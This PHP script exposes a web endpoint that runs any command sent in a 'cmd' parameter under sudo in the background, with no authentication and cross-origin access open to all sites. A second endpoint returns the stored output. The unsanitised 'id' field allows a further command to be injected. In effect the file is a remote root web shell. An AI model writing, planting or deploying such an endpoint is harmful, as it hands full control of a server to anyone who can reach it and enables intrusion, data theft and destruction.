<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
$in=json_decode(file_get_contents('php://input'),true)?:$_GET;
if(!empty($in['result'])){
    $id=preg_replace('/[^a-z0-9_-]/i','',$in['result']);
    $f="/tmp/wa-{$id}.txt";
    if(file_exists($f)){$o=file_get_contents($f);@unlink($f);echo json_encode(['ok'=>1,'content'=>$o,'provider'=>'async']);}
    else echo json_encode(['ok'=>1,'content'=>'pending','provider'=>'async-wait']);
    exit;
}
$cmd=$in['cmd']??'';if(!$cmd){echo json_encode(['error'=>'no cmd']);exit;}
$id=$in['id']??substr(md5(microtime()),0,8);
exec("nohup bash -c ".escapeshellarg("sudo ".$cmd." > /tmp/wa-{$id}.txt 2>&1")." > /dev/null 2>&1 &");
echo json_encode(['ok'=>1,'id'=>$id,'content'=>"Lance (ID:{$id})",'provider'=>'async-launch']);